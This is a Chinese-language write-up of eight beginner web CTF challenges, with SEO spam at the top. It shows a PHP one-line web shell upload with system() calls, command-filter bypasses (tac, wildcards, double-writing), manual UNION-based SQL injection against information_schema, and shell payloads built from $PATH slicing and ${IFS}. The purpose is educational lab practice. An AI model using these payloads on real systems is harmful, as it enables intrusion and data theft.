网站建设调查表,淮南服装网站建设地址,无锡网站建设优化公司,seog目录 1、robots
2、NOF12
3、get_post
4、好事慢磨
5、uploads
6、rce
7、ezsql
8、RCE 1、robots robots 协议又叫爬虫协议#xff0c;访问 robots.txt 继续访问 /JAY.php 拿到 flag#xff1a;flag{hello_Do_YOU_KONw_JAY!} 2、NOF12 F12 和右键都被禁用 方法#…目录 1、robots
2、NOF12
3、get_post
4、好事慢磨
5、uploads
6、rce
7、ezsql
8、RCE 1、robots robots 协议又叫爬虫协议访问 robots.txt 继续访问 /JAY.php 拿到 flagflag{hello_Do_YOU_KONw_JAY!} 2、NOF12 F12 和右键都被禁用 方法1
通过浏览器点击打开开发人员工具 源码里看到 flagflag{wellcome_TO_CTF!!!} 方法2
提前打开 F12 再访问进入题目地址 3、get_post
基本的 get 和 post 传参方式payload
?ahelloctf
postb666 两次 base64 解码 拿到 flagflag{hello!!!it_so_easy} 4、好事慢磨 简单测试一下可以发现 flag 一共有 300 位 F12 在源码里看到 post 请求参数名为 hacker 试一下确实可以正常回显 用 python 写个脚本跑就可以了
exp # authorMyon
# time20240828
import requests
import reurl http://snert.net.cn:10001/
out
for i in range(300):payload {hacker: f{i}}# print(payload)res requests.post(url, datapayload)# print(res.text)match re.search(r(.), res.text) # 匹配冒号后面的所有字符out match.group(1)print(out) 拿到 flag
flag{pa2hpl-pkfwbv42tnvv-qeviypz7z4xorksoo95so-9uv3m5jxq5mbhm154wjl3068eo-3985u36ahbqj7my1d7bv2ld2avi63utr5n3vga6dlgfnxjy-jzzvine7hx6mtl668v2cp9z46zem696rnkvw174couqof1e7d82hwutf-cfwayhsyebppztvmrgmo7dl1qf-dewym0i4y4v8kvd1cn1v1oqlqxbeqz5t1mt2kburhafuivsz7khbvcum-xbne6rgi9losgjii-3bqou8l7j5zjm264h9z} 5、uploads 没有任何过滤直接传一句话木马 调用在上一层目录看到 flag.php
cmdsystem(ls ../); 读取
cmdsystem(tac ../f*); 拿到 flagflag{BDQLKdC6yDJ2DxphWzJrWDjQsHnHTZ3s} 6、rce 代码审计
post 传入 a如果传入的内容里面有 cat 或者 flag都会被替换为空之后输出替换后剩下的内容再将其传给 system 函数作为参数进行调用输出返回的结果。
先看一下当前目录下有什么
als 有一个叫 flag.php 的东西注意这里有点容易看错我一开始看成了 lsflag.php其实前面的 ls 是我们执行的命令被 echo 输出了所有真正的文件名应该是 flag.php。
方法1换一个读取命令不使用 cat结合通配绕过
payload
atac f* 拿到 flagflag{TTBnmqQa3cX0Hg6D522Y2Y7Pn3PZtog4}
当然还有很多其他的命令可以用比如反向输出问号进行通配等
arev fla?.??? 方法2双写绕过
acacatt flaflagg.php
替换掉其中的 cat 和 flag 剩下的就是 cat flag.php 查看源代码即可看到 flag 7、ezsql 查询 Alex
返回 ID: 1 - Name: Alex - Password: Alex_123 如果你查我的名字其实可以得到一个小提示 就是没有任何过滤的 sql 注入关于 sqlmap 跑的我就不演示了下面简单说一下手动注入的流程。
输入单引号报错如果是萌新会很不理解为什么要这样为什么会报错正如我提示里面所说先去了解 sql 注入的原理吧。 使用 # 注释掉后面内容闭合成功 由前面 Alex 的查询结果回显可以推断字段数为 3
直接查数据库下的所有表名 union select 1,2,table_name from information_schema.tables where table_schemadatabase()# 可以看到存在一个名为 googthings 的表查该表下的列名 union select 1,2,column_name from information_schema.columns where table_schemadatabase() and table_namegoodthings#
列名也是 username 和 password 正如一开始题目所说密码里面藏着东西那么这里其实都不用查列名直接查 goodthings
这个表下面的 password 列的内容即可 union select 1,2,password from goodthings # 拿到 flagflag{war6m9-gyn6rl6q8ik1qp-pe4eqttoos7tl6o-dvxm9jmt3pk} 8、RCE 限制死了只能使用这些字符{(FAST:HIP)}$~
出这道题的想法来源于我之前刷到过的两个题一个是 Linux 内置环境变量
参考我之前的博客
ctfshow-web入门-命令执行web118详解Linux 内置变量与Bash切片_web 118 ctfshow-CSDN博客https://blog.csdn.net/Myon5/article/details/140145005
光有 Linux 内置环境变量还不够我们还需要用到切片操作因此还需要构造数字同样参考我之前的博客web57
ctfshow-web入门-命令执行web56、web57、web58_ctfshow web57-CSDN博客https://blog.csdn.net/Myon5/article/details/139746224
这里我们利用上述字符可以构造出 $PATH
这个东西的前面部分基本上都是一样的 即/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
所以这里默认这部分是我们已知的我们利用切片操作就可以构造出 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 里面的任意一个字符进而我们就可以继续构造 ls、nl 等命令空格我们使用 ${IFS} 代替。 详细看完我前两篇博客所说的内容你就会真正理解 payload 是如何构造的。 构造 payload 读取根目录下面的文件
ls /
即
嘻嘻嘻${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${IFS}${PATH:$(()):$((~$(($((~$(())))$((~$(())))))))} 未见 flag 文件但是存在一个名为 burn 的文件这个文件名在根目录下是不常见的结合 php 源码勇师傅有注释说# flag被我烧掉了burn 就是燃烧的意思。
构造 payload 读取这个文件
nl /burn
即
嘻嘻嘻${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${IFS}${PATH:$(()):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))} 拿到 flagflag{r18s4bcp-ctvmmijn6a2g7-pnbrwudl} 这个题算是勇师傅最后弄的一个压轴题吧不压一下第一天上午 web 就全穿了除了这道这次的 web 题都出的非常简单和基础最后期待大一大二的加入 SNERT 学习